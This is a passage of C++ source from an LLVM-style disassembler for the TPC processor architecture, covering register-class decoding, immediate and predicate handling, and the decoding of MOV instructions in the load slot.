TPC::SP15,\n TPC::VP0, TPC::VP1, TPC::VP2, TPC::VP3, TPC::VP4, TPC::VP5, TPC::VP6, TPC::VP7,\n TPC::VP8, TPC::VP9, TPC::VP10, TPC::VP11, TPC::VP12, TPC::VP13, TPC::VP14, TPC::VP15\n};\n\nstatic bool isVRF(unsigned Field) {\n return Field <= 44;\n}\n\nstatic bool isVPRF(unsigned Field) {\n return Field >=240 && Field <=255;\n}\n\nstatic bool isSPRF(unsigned Field, bool IsSPU) {\n if (IsSPU)\n return Field >= 48 && Field <= 63;\n else\n return Field >= 224 && Field <= 239;\n}\n\nstatic bool isSRF(unsigned Field, bool IsSPU) {\n if (IsSPU){\n // LFSR is SRF register.\n return (Field <= 35 || Field == 40);\n } else {\n return ((Field >= 64 && Field <= 99) || Field == 104 || Field == 105);\n }\n}\n\nstatic bool isIRF(unsigned Field, bool IsSPU) {\n if (IsSPU)\n return Field >= 64 && Field <= 95;\n else\n return Field >= 128 && Field <= 159;\n}\n\nstatic bool isADRF(unsigned Field, bool IsSPU) {\n if (IsSPU)\n return Field >= 96 && Field <= 103;\n else\n return Field >= 160 && Field <= 167;\n}\n\nstatic bool isLongImmediate(unsigned Field) {\n return Field == 127;\n}\n\nstatic bool isShortImmediate(unsigned Field) {\n return Field >= 111 && Field <= 126;\n}\n\nstatic unsigned getShortImmediate(unsigned Field) {\n return Field == 111 ? 0x0f\n : (Field - 112);\n}\n\n// tryAddingSymbolicOperand - trys to add a symbolic operand in place of the\n/// immediate Value in the MCInst. The immediate Value has had any PC\n/// adjustment made by the caller. If the instruction is a branch instruction\n/// then isBranch is true, else false. If the getOpInfo() function was set as\n/// part of the setupForSymbolicDisassembly() call then that function is called\n/// to get any symbolic information at the Address for this instruction. If\n/// that returns non-zero then the symbolic information it returns is used to\n/// create an MCExpr and that is added as an operand to the MCInst. If\n/// getOpInfo() returns zero and isBranch is true then a symbol look up for\n/// Value is done and if a symbol is found an MCExpr is created with that, else\n/// an MCExpr with Value is created. This function returns true if it adds an\n/// operand to the MCInst and false otherwise.\nstatic bool tryAddingSymbolicOperand(uint64_t Address, int32_t Value,\n bool isBranch, uint64_t InstSize,\n MCInst &MI, const void *Decoder) {\n const MCDisassembler *Dis = static_cast<const MCDisassembler*>(Decoder);\n // FIXME: Does it make sense for value to be negative?\n bool result = Dis->tryAddingSymbolicOperand(MI, (uint32_t)Value, Address, isBranch, /* Offset */ 0, InstSize);\n return result;\n}\n\nstatic DecodeStatus decodeJmpTargetImm(MCInst &Inst, unsigned Val,\n uint64_t Addr,\n const void *Decoder) {\n const JmpExtraValues *extra = (reinterpret_cast<const JmpExtraValues*>(Addr));\n uint64_t address = extra->Address + extra->Imm;\n if (!tryAddingSymbolicOperand(address, 0, true, 0, Inst, Decoder)) {\n Inst.addOperand(MCOperand::createImm(extra->Imm));\n }\n\n unsigned Register = PredicateTable[extra->Predicate];\n Inst.addOperand(MCOperand::createReg(Register));\n Inst.addOperand(MCOperand::createImm(extra->Polarity));\n return MCDisassembler::Success;\n}\n\nstatic DecodeStatus decodeLoopStartImm(MCInst &Inst, unsigned Val,\n uint64_t Addr,\n const void *Decoder) {\n const LoopExtraValues *extra = (reinterpret_cast<const LoopExtraValues*>(Addr));\n Inst.addOperand(MCOperand::createImm(extra->Start));\n return MCDisassembler::Success;\n}\n\nstatic DecodeStatus decodeLoopBoundaryImm(MCInst &Inst, unsigned Val,\n uint64_t Addr,\n const void *Decoder) {\n const LoopExtraValues *extra = (reinterpret_cast<const LoopExtraValues*>(Addr));\n Inst.addOperand(MCOperand::createImm(extra->Boundary));\n return MCDisassembler::Success;\n}\n\nstatic DecodeStatus decodeLoopStepImm(MCInst &Inst, unsigned Val,\n uint64_t Addr,\n const void *Decoder) {\n const LoopExtraValues *extra = (reinterpret_cast<const LoopExtraValues*>(Addr));\n Inst.addOperand(MCOperand::createImm(extra->Step));\n return MCDisassembler::Success;\n}\n\nstatic DecodeStatus decodeLoopComparison(MCInst &Inst, unsigned Val,\n uint64_t Addr,\n const void *Decoder) {\n const LoopExtraValues *extra = (reinterpret_cast<const LoopExtraValues*>(Addr));\n uint64_t address = extra->Address + extra->Offset;\n\n // We need to fix the address for LOOP instruction because the label\n // always points to the instruction next to END_PC_OFFSET encoded in instruction\n address += 32;\n\n Inst.addOperand(MCOperand::createImm(extra->Comparison));\n if (!tryAddingSymbolicOperand(address, 0, true, 0, Inst, Decoder)) {\n Inst.addOperand(MCOperand::createImm(extra->Offset));\n }\n\n return MCDisassembler::Success;\n}\n\nstatic bool DecodeImmediate(MCInst &Inst, unsigned FieldVal,\n uint64_t Addr,\n const void *Decoder) {\n if (FieldVal == 127) {\n // This is a long immediate, encoded in separate field.\n auto *Disasm = static_cast<const TPCDisassembler *>(Decoder);\n Inst.addOperand(MCOperand::createImm(Disasm->getImmediate()));\n return true;\n }\n\n if (isShortImmediate(FieldVal)) {\n Inst.addOperand(MCOperand::createImm(getShortImmediate(FieldVal)));\n return true;\n }\n return false;\n}\n\nstatic DecodeStatus DecodeSRFRegisterClass(MCInst &Inst, unsigned RegNo,\n uint64_t Addr,\n const void *Decoder) {\n if (DecodeImmediate(Inst, RegNo, Addr, Decoder))\n return MCDisassembler::Success;\n\n bool VPUEncoding = Inst.getFlags() != FlagSPU;\n\n // Decode all registers, that can be found in SrcA/B/Dest in scalar slot, not\n // only SRF.\n unsigned Register;\n if (VPUEncoding)\n Register = RegisterTableVPU[RegNo];\n else\n Register = RegisterTableSPU[RegNo];\n if (Register == ~0U)\n return MCDisassembler::Fail;\n Inst.addOperand(MCOperand::createReg(Register));\n return MCDisassembler::Success;\n}\n\nstatic DecodeStatus DecodeIRFRegisterClass(MCInst &Inst, unsigned RegNo,\n uint64_t Addr,\n const void *Decoder) {\n if (DecodeImmediate(Inst, RegNo, Addr, Decoder))\n return MCDisassembler::Success;\n\n bool VPUEncoding = Inst.getFlags() != FlagSPU;\n\n // Decode all registers, that can be found in SrcA/B/Dest in scalar slot, not\n // only SRF.\n unsigned Register;\n if (VPUEncoding)\n Register = RegisterTableVPU[RegNo];\n else\n Register = RegisterTableSPU[RegNo];\n if (Register == ~0U)\n return MCDisassembler::Fail;\n Inst.addOperand(MCOperand::createReg(Register));\n return MCDisassembler::Success;\n}\n\nstatic DecodeStatus DecodeADRFRegisterClass(MCInst &Inst, unsigned RegNo,\n uint64_t Addr,\n const void *Decoder) {\n bool VPUEncoding = Inst.getFlags() != FlagSPU;\n unsigned Register;\n if (VPUEncoding) {\n if (RegNo > 167 || RegNo < 160)\n return MCDisassembler::Fail;\n Register = RegisterTableVPU[RegNo];\n } else {\n if (RegNo >= 103 || RegNo < 96)\n return MCDisassembler::Fail;\n Register = RegisterTableSPU[RegNo];\n }\n\n if (Register == ~0U)\n return MCDisassembler::Fail;\n Inst.addOperand(MCOperand::createReg(Register));\n return MCDisassembler::Success;\n}\n\nstatic DecodeStatus DecodeSPRFRegisterClass(MCInst &Inst, unsigned RegNo,\n uint64_t Addr,\n const void *Decoder) {\n bool VPUEncoding = Inst.getFlags() != FlagSPU;\n unsigned Register;\n if (VPUEncoding) {\n if (RegNo < 224 || RegNo > 239)\n return MCDisassembler::Fail;\n Register = RegisterTableVPU[RegNo];\n } else {\n if (RegNo < 48 || RegNo > 63)\n return MCDisassembler::Fail;\n Register = RegisterTableSPU[RegNo];\n }\n\n if (Register == ~0U)\n return MCDisassembler::Fail;\n Inst.addOperand(MCOperand::createReg(Register));\n return MCDisassembler::Success;\n}\n\nstatic DecodeStatus DecodeVRFRegisterClass(MCInst &Inst, unsigned RegNo,\n uint64_t Addr,\n const void *Decoder) {\n if (DecodeImmediate(Inst, RegNo, Addr, Decoder))\n return MCDisassembler::Success;\n\n // Decode all registers, that can be found in VPU, LD, ST slots, not\n // only VRF.\n unsigned Register = RegisterTableVPU[RegNo];\n if (Register == ~0U)\n return MCDisassembler::Fail;\n Inst.addOperand(MCOperand::createReg(Register));\n return MCDisassembler::Success;\n}\n\nstatic DecodeStatus DecodeVPRFRegisterClass(MCInst &Inst, unsigned RegNo,\n uint64_t Addr,\n const void *Decoder) {\n if (RegNo < 240 || RegNo > 255)\n return MCDisassembler::Fail;\n\n unsigned Register = RegisterTableVPU[RegNo];\n if (Register == ~0U)\n return MCDisassembler::Fail;\n Inst.addOperand(MCOperand::createReg(Register));\n return MCDisassembler::Success;\n}\n\nstatic const std::map<unsigned, std::string> ZRFComments = {\n {TPC::Z0, \"Z0=[S0,S1]\"},\n {TPC::Z2, \"Z2=[S2,S3]\"},\n {TPC::Z4, \"Z4=[S4,S5]\"},\n {TPC::Z6, \"Z6=[S6,S7]\"},\n {TPC::Z8, \"Z8=[S8,S9]\"},\n {TPC::Z10, \"Z10=[S10,S11]\"},\n {TPC::Z12, \"Z12=[S12,S13]\"},\n {TPC::Z14, \"Z14=[S14,S15]\"},\n {TPC::Z16, \"Z16=[S16,S17]\"},\n {TPC::Z18, \"Z18=[S18,S19]\"},\n {TPC::Z20, \"Z20=[S20,S21]\"},\n {TPC::Z22, \"Z22=[S22,S23]\"},\n {TPC::Z24, \"Z24=[S24,S25]\"},\n {TPC::Z26, \"Z26=[S26,S27]\"},\n {TPC::Z28, \"Z28=[S28,S29]\"},\n {TPC::Z30, \"Z30=[S30,S31]\"},\n {TPC::Z32, \"Z32=[S32,S33]\"},\n {TPC::Z34, \"Z34=[S34,S35]\"}\n};\n\nstatic const std::map<unsigned, std::string> DRFComments = {\n {TPC::D0, \"D0=[V0,V1]\"},\n {TPC::D2, \"D2=[V2,V3]\"},\n {TPC::D4, \"D4=[V4,V5]\"},\n {TPC::D6, \"D6=[V6,V7]\"},\n {TPC::D8, \"D8=[V8,V9]\"},\n {TPC::D10, \"D10=[V10,V11]\"},\n {TPC::D12, \"D12=[V12,V13]\"},\n {TPC::D14, \"D14=[V14,V15]\"},\n {TPC::D16, \"D16=[V16,V17]\"},\n {TPC::D18, \"D18=[V18,V19]\"},\n {TPC::D20, \"D20=[V20,V21]\"},\n {TPC::D22, \"D22=[V22,V23]\"},\n {TPC::D24, \"D24=[V24,V25]\"},\n {TPC::D26, \"D26=[V26,V27]\"},\n {TPC::D28, \"D28=[V28,V29]\"},\n {TPC::D30, \"D30=[V30,V31]\"},\n {TPC::D32, \"D32=[V32,V33]\"},\n {TPC::D34, \"D34=[V34,V35]\"},\n {TPC::D36, \"D36=[V36,V37]\"},\n {TPC::D38, \"D38=[V38,V39]\"}\n};\n\nstatic const std::map<unsigned, std::string> ARFComments = {\n {TPC::A0, \"A0=[V0,V1,V2,V3]\"},\n {TPC::A4, \"A4=[V4,V5,V6,V7]\"},\n {TPC::A8, \"A8=[V8,V9,V10,V11]\"},\n {TPC::A12, \"A12=[V12,V13,V14,V15]\"},\n {TPC::A16, \"A16=[V16,V17,V18,V19]\"},\n {TPC::A20, \"A20=[V20,V21,V22,V23]\"},\n {TPC::A24, \"A24=[V24,V25,V26,V27]\"},\n {TPC::A28, \"A28=[V28,V29,V30,V31]\"},\n {TPC::A32, \"A32=[V32,V33,V34,V35]\"},\n {TPC::A36, \"A36=[V36,V37,V38,V39]\"}\n};\n\nstatic void ConstructComplexRegisterComment(unsigned RegNo, std::string &comment) {\n for (std::map<unsigned, std::string> item : {ZRFComments, DRFComments,\n ARFComments}) {\n auto Ptr = item.find(RegNo);\n if (Ptr != item.end()) {\n if (comment.find(Ptr->second) != std::string::npos)\n return;\n\n if (!comment.empty()) {\n comment += \" , \";\n }\n\n comment += Ptr->second; \n return;\n }\n }\n}\n\nstatic DecodeStatus DecodeDRFRegisterClass(MCInst &Inst, unsigned RegNo,\n uint64_t Addr,\n const void *Decoder) {\n if (RegNo >= 104)\n return MCDisassembler::Fail;\n\n static const std::map<unsigned, unsigned> VRF2DRF = {\n { TPC::V0, TPC::D0 },\n { TPC::V2, TPC::D2 },\n { TPC::V4, TPC::D4 },\n { TPC::V6, TPC::D6 },\n { TPC::V8, TPC::D8 },\n { TPC::V10, TPC::D10 },\n { TPC::V12, TPC::D12 },\n { TPC::V14, TPC::D14 },\n { TPC::V16, TPC::D16 },\n { TPC::V18, TPC::D18 },\n { TPC::V20, TPC::D20 },\n { TPC::V22, TPC::D22 },\n { TPC::V24, TPC::D24 },\n { TPC::V26, TPC::D26 },\n { TPC::V28, TPC::D28 },\n { TPC::V30, TPC::D30 },\n { TPC::V32, TPC::D32 },\n { TPC::V34, TPC::D34 },\n { TPC::V36, TPC::D36 },\n { TPC::V38, TPC::D38 }\n };\n\n unsigned Register = RegisterTableVPU[RegNo];\n if (Register == ~0U)\n return MCDisassembler::Fail;\n auto Ptr = VRF2DRF.find(Register);\n if (Ptr == VRF2DRF.end())\n return MCDisassembler::Fail;\n Inst.addOperand(MCOperand::createReg(Ptr->second));\n return MCDisassembler::Success;\n}\n\nstatic DecodeStatus DecodeZRFRegisterClass(MCInst &Inst, unsigned RegNo,\n uint64_t Addr,\n const void *Decoder) {\n if (RegNo >= 36)\n return MCDisassembler::Fail;\n\n static const std::map<unsigned, unsigned> SRF2ZRF = {\n { TPC::S0, TPC::Z0 },\n { TPC::S2, TPC::Z2 },\n { TPC::S4, TPC::Z4 },\n { TPC::S6, TPC::Z6 },\n { TPC::S8, TPC::Z8 },\n { TPC::S10, TPC::Z10 },\n { TPC::S12, TPC::Z12 },\n { TPC::S14, TPC::Z14 },\n { TPC::S16, TPC::Z16 },\n { TPC::S18, TPC::Z18 },\n { TPC::S20, TPC::Z20 },\n { TPC::S22, TPC::Z22 },\n { TPC::S24, TPC::Z24 },\n { TPC::S26, TPC::Z26 },\n { TPC::S28, TPC::Z28 },\n { TPC::S30, TPC::Z30 },\n { TPC::S32, TPC::Z32 },\n { TPC::S34, TPC::Z34 },\n { 0, 0 }\n };\n\n unsigned Register = RegisterTableSPU[RegNo];\n if (Register == ~0U)\n return MCDisassembler::Fail;\n auto Ptr = SRF2ZRF.find(Register);\n if (Ptr == SRF2ZRF.end())\n return MCDisassembler::Fail;\n Inst.addOperand(MCOperand::createReg(Ptr->second));\n return MCDisassembler::Success;\n}\n\n\nstatic DecodeStatus DecodeARFRegisterClass(MCInst &Inst, unsigned RegNo,\n uint64_t Addr,\n const void *Decoder) {\n if (RegNo >= 104)\n return MCDisassembler::Fail;\n\n static const std::map<unsigned, unsigned> VRF2ARF = {\n { TPC::V0, TPC::A0 },\n { TPC::V4, TPC::A4 },\n { TPC::V8, TPC::A8 },\n { TPC::V12, TPC::A12 },\n { TPC::V16, TPC::A16 },\n { TPC::V20, TPC::A20 },\n { TPC::V24, TPC::A24 },\n { TPC::V28, TPC::A28 },\n { TPC::V32, TPC::A32 },\n { TPC::V36, TPC::A36 }\n };\n\n unsigned Register = RegisterTableVPU[RegNo];\n if (Register == ~0U)\n return MCDisassembler::Fail;\n auto Ptr = VRF2ARF.find(Register);\n if (Ptr == VRF2ARF.end())\n return MCDisassembler::Fail;\n Inst.addOperand(MCOperand::createReg(Ptr->second));\n return MCDisassembler::Success;\n}\n\nstatic DecodeStatus DecodeHVRFRegisterClass(MCInst &Inst, unsigned Code,\n uint64_t Address,\n const void *Decoder) {\n unsigned RegCode = 0;\n switch (Code) {\n case 0:\n RegCode = TPC::PC;\n break;\n case 2:\n RegCode = TPC::S_CARRY;\n break;\n default:\n return MCDisassembler::Fail;\n }\n\n Inst.addOperand(MCOperand::createReg(RegCode));\n return MCDisassembler::Success;\n}\n\nstatic DecodeStatus DecodeHSRFRegisterClass(MCInst &Inst, unsigned Code,\n uint64_t Address,\n const void *Decoder) {\n return DecodeHVRFRegisterClass(Inst, Code, Address, Decoder);\n}\n\nstatic DecodeStatus decodeSPredicate(MCInst &Inst, unsigned Code,\n uint64_t Address,\n const void *Decoder) {\n unsigned RegNo = Code & 0x1f;\n unsigned Polarity = (Code >> 5) & 0x01;\n unsigned Register = PredicateTable[RegNo];\n Inst.addOperand(MCOperand::createReg(Register));\n Inst.addOperand(MCOperand::createImm(Polarity));\n return MCDisassembler::Success;\n}\n\nstatic DecodeStatus decodeVPredicate(MCInst &Inst, unsigned Code,\n uint64_t Address,\n const void *Decoder) {\n unsigned RegNo = (Code & 0x0f) | 0x10;\n unsigned Polarity = (Code >> 5) & 0x01;\n unsigned Register = PredicateTable[RegNo];\n Inst.addOperand(MCOperand::createReg(Register));\n Inst.addOperand(MCOperand::createImm(Polarity));\n return MCDisassembler::Success;\n}\n\nstatic DecodeStatus decodeMEMrr(MCInst &Inst, unsigned Addr,\n uint64_t Address, const void *Decoder) {\n auto *Disasm = static_cast<const TPCDisassembler *>(Decoder);\n unsigned Addr1 = Addr & 0x0ff;\n unsigned Addr2 = (Addr >> 8) & 0x0ff;\n\n if (Disasm->getSubtargetInfo().hasFeature(TPC::FeatureAddr2)) {\n DecodeStatus Status = DecodeVRFRegisterClass(Inst, Addr1, Address, Decoder);\n if (Status != MCDisassembler::Success)\n return Status;\n return DecodeVRFRegisterClass(Inst, Addr2, Address, Decoder);\n } else {\n DecodeStatus Status = DecodeVRFRegisterClass(Inst, Addr1, Address, Decoder);\n if (Status != MCDisassembler::Success)\n return Status;\n // Put bogus register.\n Inst.addOperand(MCOperand::createReg(TPC::SP0));\n return MCDisassembler::Success;\n }\n}\n\n\n#include \"TPCGenDisassemblerTables.inc\"\n\n#ifndef NDEBUG\nstatic std::string to_hexstring(const std::bitset<256> &BS) {\n std::bitset<256> V = BS;\n std::string Result;\n for (unsigned I = 0; I < 256; I += 4) {\n std::bitset<256> Digit = V & std::bitset<256>(0x0F);\n if (I && I % 32 == 0)\n Result = \"_\" + Result;\n Result = \"0123456789ABCDEF\"[Digit.to_ulong()] + Result;\n V >>= 4;\n }\n return Result;\n}\n\nstatic std::string to_hexstring(uint64_t V) {\n std::string Result;\n while (V) {\n int Digit = V & 0x0F;\n Result = \"0123456789ABCDEF\"[Digit] + Result;\n V >>= 4;\n }\n if (Result.empty())\n Result = \"0\";\n return Result;\n}\n#endif\n\nstatic MCDisassembler::DecodeStatus decodeMovLd(MCInst &Inst, uint64_t insn,\n uint64_t Address, const void *Decoder) {\n uint64_t SrcA = fieldFromInstruction(insn, TPCII::LdSrcAStart, TPCII::LdSrcASize);\n uint64_t SrcB = fieldFromInstruction(insn, TPCII::LdSrcBStart, TPCII::LdSrcBSize);\n uint64_t Dest = fieldFromInstruction(insn, TPCII::LdDestStart, TPCII::LdDestSize);\n uint64_t Switches = fieldFromInstruction(insn, TPCII::LdSwitchesStart, TPCII::LdSwitchesSize);\n uint64_t Predicate = fieldFromInstruction(insn, TPCII::LdPredicateStart, TPCII::LdPredicateSize);\n bool IsVectorPredicate = (bool) fieldFromInstruction(insn, TPCII::LdVectorPredBit, 1);\n bool Polarity = (bool) fieldFromInstruction(insn, TPCII::LdPolarityBit, 1);\n\n // VRF <- VRF\n if (isVRF(Dest) && isVRF(SrcA)) {\n Inst.setOpcode(IsVectorPredicate ? TPC::MOV_ld_vvm : TPC::MOV_ld_vvp);\n if (DecodeVRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n if (DecodeVRFRegisterClass(Inst, SrcA, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n\n // VPRF <- VPRF\n } else if (isVPRF(Dest) && isVPRF(SrcA)) {\n Inst.setOpcode(IsVectorPredicate ? TPC::MOV_ld_mmm : TPC::MOV_ld_mmp);\n if (DecodeVPRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n if (DecodeVRFRegisterClass(Inst, SrcA, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n\n // VPRF <- SPRF\n } else if (isVPRF(Dest) && isSPRF(SrcA, false)) {\n Inst.setOpcode(IsVectorPredicate ? TPC::MOV_ld_mpm : TPC::MOV_ld_mpp);\n if (DecodeVPRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n if (DecodeSPRFRegisterClass(Inst, SrcA, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n\n // SPRF <- SRF\n } else if (isSPRF(Dest, false) && isSRF(SrcA, false)) {\n Inst.setOpcode(TPC::MOV_ld_psp);\n if (DecodeSPRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n if (DecodeSRFRegisterClass(Inst, SrcA, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n\n // SPRF <- Imm\n } else if (isSPRF(Dest, false) && isLongImmediate(SrcA)) {\n Inst.setOpcode(TPC::MOV_ld_pip);\n if (DecodeSPRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n auto* Disasm = static_cast<const TPCDisassembler*>(Decoder);\n Inst.addOperand(MCOperand::createImm(Disasm->getImmediate()));\n\n // SPRF <- short Imm\n } else if (isSPRF(Dest, false) && isShortImmediate(SrcA)) {\n Inst.setOpcode(TPC::MOV_ld_pip);\n if (DecodeSPRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n Inst.addOperand(MCOperand::createImm(getShortImmediate(SrcA)));\n\n // VRF <- Imm\n } else if (isVRF(Dest) && isLongImmediate(SrcA)) {\n Inst.setOpcode(IsVectorPredicate ? TPC::MOV_ld_vim : TPC::MOV_ld_vip);\n if (DecodeVRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n auto *Disasm = static_cast<const TPCDisassembler *>(Decoder);\n Inst.addOperand(MCOperand::createImm(Disasm->getImmediate()));\n uint64_t OpType = (SrcB >> 4);\n if (OpType > TPCII::OpType::Max)\n return MCDisassembler::Fail;\n Inst.addOperand(MCOperand::createImm(OpType));\n\n // VRF <- short Imm\n } else if (isVRF(Dest) && isShortImmediate(SrcA)) {\n Inst.setOpcode(IsVectorPredicate ? TPC::MOV_ld_vim : TPC::MOV_ld_vip);\n if (DecodeVRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n Inst.addOperand(MCOperand::createImm(getShortImmediate(SrcA)));\n uint64_t OpType = (SrcB >> 4);\n if (OpType > TPCII::OpType::Max)\n return MCDisassembler::Fail;\n Inst.addOperand(MCOperand::createImm(OpType));\n\n // VRF <- SRF\n } else if (isVRF(Dest) && isSRF(SrcA, false)) {\n Inst.setOpcode(IsVectorPredicate ? TPC::MOV_ld_vsm : TPC::MOV_ld_vsp);\n if (DecodeVRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n if (DecodeSRFRegisterClass(Inst, SrcA, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n uint64_t OpType = (SrcB >> 4);\n if (OpType > TPCII::OpType::Max)\n return MCDisassembler::Fail;\n Inst.addOperand(MCOperand::createImm(OpType));\n\n // VPRF <- SRF\n } else if (isVPRF(Dest) && isSRF(SrcA, false)) {\n if (SrcB == 8)\n Inst.setOpcode(IsVectorPredicate ? TPC::MOVB_ld_msm : TPC::MOVB_ld_msp);\n else\n Inst.setOpcode(IsVectorPredicate ? TPC::MOV_ld_msm : TPC::MOV_ld_msp);\n if (DecodeVRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n if (DecodeSRFRegisterClass(Inst, SrcA, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n if (SrcB != 8)\n Inst.addOperand(MCOperand::createImm(SrcB));\n\n // VPRF <- long Imm\n } else if (isVPRF(Dest) && isLongImmediate(SrcA)) {\n if (SrcB == 8)\n Inst.setOpcode(IsVectorPredicate ? TPC::MOVB_ld_mim : TPC::MOVB_ld_mip);\n else\n Inst.setOpcode(IsVectorPredicate ? TPC::MOV_ld_mim : TPC::MOV_ld_mip);\n if (DecodeVRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n auto *Disasm = static_cast<const TPCDisassembler *>(Decoder);\n Inst.addOperand(MCOperand::createImm(Disasm->getImmediate()));\n if (SrcB != 8)\n Inst.addOperand(MCOperand::createImm(SrcB));\n\n // VPRF <- short Imm\n } else if (isVPRF(Dest) && isShortImmediate(SrcA)) {\n if (SrcB == 8)\n Inst.setOpcode(IsVectorPredicate ? TPC::MOVB_ld_mim : TPC::MOVB_ld_mip);\n else\n Inst.setOpcode(IsVectorPredicate ? TPC::MOV_ld_mim : TPC::MOV_ld_mip);\n if (DecodeVRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n Inst.addOperand(MCOperand::createImm(getShortImmediate(SrcA)));\n if (SrcB != 8)\n Inst.addOperand(MCOperand::createImm(SrcB));\n\n // SRF <- SRF\n } else if (isSRF(Dest, false) && isSRF(SrcA, false)) {\n Inst.setOpcode(TPC::MOV_ld_ssp);\n if (DecodeSRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n if (DecodeSRFRegisterClass(Inst, SrcA, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n uint64_t OpType = (SrcB >> 4);\n if (OpType > TPCII::OpType::Max)\n return MCDisassembler::Fail;\n Inst.addOperand(MCOperand::createImm(OpType));\n\n // SRF <- Imm\n } else if (isSRF(Dest, false) && isLongImmediate(SrcA)) {\n Inst.setOpcode(TPC::MOV_ld_ssp);\n if (DecodeSRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n auto *Disasm = static_cast<const TPCDisassembler *>(Decoder);\n Inst.addOperand(MCOperand::createImm(Disasm->getImmediate()));\n uint64_t OpType = (SrcB >> 4);\n if (OpType > TPCII::OpType::Max)\n return MCDisassembler::Fail;\n Inst.addOperand(MCOperand::createImm(OpType));\n\n // SRF <- short Imm\n } else if (isSRF(Dest, false) && isShortImmediate(SrcA)) {\n Inst.setOpcode(TPC::MOV_ld_ssp);\n if (DecodeSRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n Inst.addOperand(MCOperand::createImm(getShortImmediate(SrcA)));\n uint64_t OpType = (SrcB >> 4);\n if (OpType > TPCII::OpType::Max)\n return MCDisassembler::Fail;\n Inst.addOperand(MCOperand::createImm(OpType));\n\n // IRF <- SRF\n } else if (isIRF(Dest, false) && isSRF(SrcA, false) && (Switches & TPCII::SW_DIM_MASK_REG) == 0) {\n Inst.setOpcode(TPC::MOV_ld_Isp);\n if (DecodeIRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n if (DecodeSRFRegisterClass(Inst, SrcA, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n Inst.addOperand(MCOperand::createImm(SrcB >> 2));\n\n // IRF <- Imm\n } else if (isIRF(Dest, false) && isLongImmediate(SrcA) && (Switches & TPCII::SW_DIM_MASK_REG) == 0) {\n Inst.setOpcode(TPC::MOV_ld_Iip);\n if (DecodeIRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n auto *Disasm = static_cast<const TPCDisassembler *>(Decoder);\n Inst.addOperand(MCOperand::createImm(Disasm->getImmediate()));\n Inst.addOperand(MCOperand::createImm(SrcB >> 2));\n\n // IRF <- short Imm\n } else if (isIRF(Dest, false) && isShortImmediate(SrcA) && (Switches & TPCII::SW_DIM_MASK_REG) == 0) {\n Inst.setOpcode(TPC::MOV_ld_Iip);\n if (DecodeIRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n Inst.addOperand(MCOperand::createImm(getShortImmediate(SrcA)));\n Inst.addOperand(MCOperand::createImm(SrcB >> 2));\n\n // IRF <- IRF\n } else if (isIRF(Dest, false) && isIRF(SrcA, false) && (Switches & TPCII::SW_DIM_MASK_REG) == 0) {\n Inst.setOpcode(TPC::MOV_ld_Isp);\n if (DecodeIRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n if (DecodeIRFRegisterClass(Inst, SrcA, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n Inst.addOperand(MCOperand::createImm(SrcB >> 2));\n } else {\n return MCDisassembler::Fail;\n }\n\n Inst.addOperand(MCOperand::createImm(Switches));\n if (DecodeVRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n uint64_t PredValue = (Polarity << 5) | (IsVectorPredicate << 4) | Predicate;\n if (IsVectorPredicate) {\n if (decodeVPredicate(Inst, PredValue, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n } else {\n if (decodeSPredicate(Inst, PredValue, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n }\n return MCDisassembler::Success;\n}\n\n\nstatic MCDisassembler::DecodeStatus decodeMovSpu(MCInst &Inst, uint64_t insn,\n uint64_t Address, const void *Decoder) {\n uint64_t SrcA = fieldFromInstruction(insn, TPCII::SpuSrcAStart, TPCII::SpuSrcASize);\n uint64_t OpType = fieldFromInstruction(insn, TPCII::SpuOpTypeStart, TPCII::SpuOpTypeSize);\n uint64_t Switches = fieldFromInstruction(insn, TPCII::SpuSwitchesStart, TPCII::SpuSwitchesSize);\n uint64_t Dest = fieldFromInstruction(insn, TPCII::SpuDestStart, TPCII::SpuDestSize);\n uint64_t Predicate = fieldFromInstruction(insn, TPCII::SpuPredicateStart, TPCII::SpuPredicateSize);\n bool 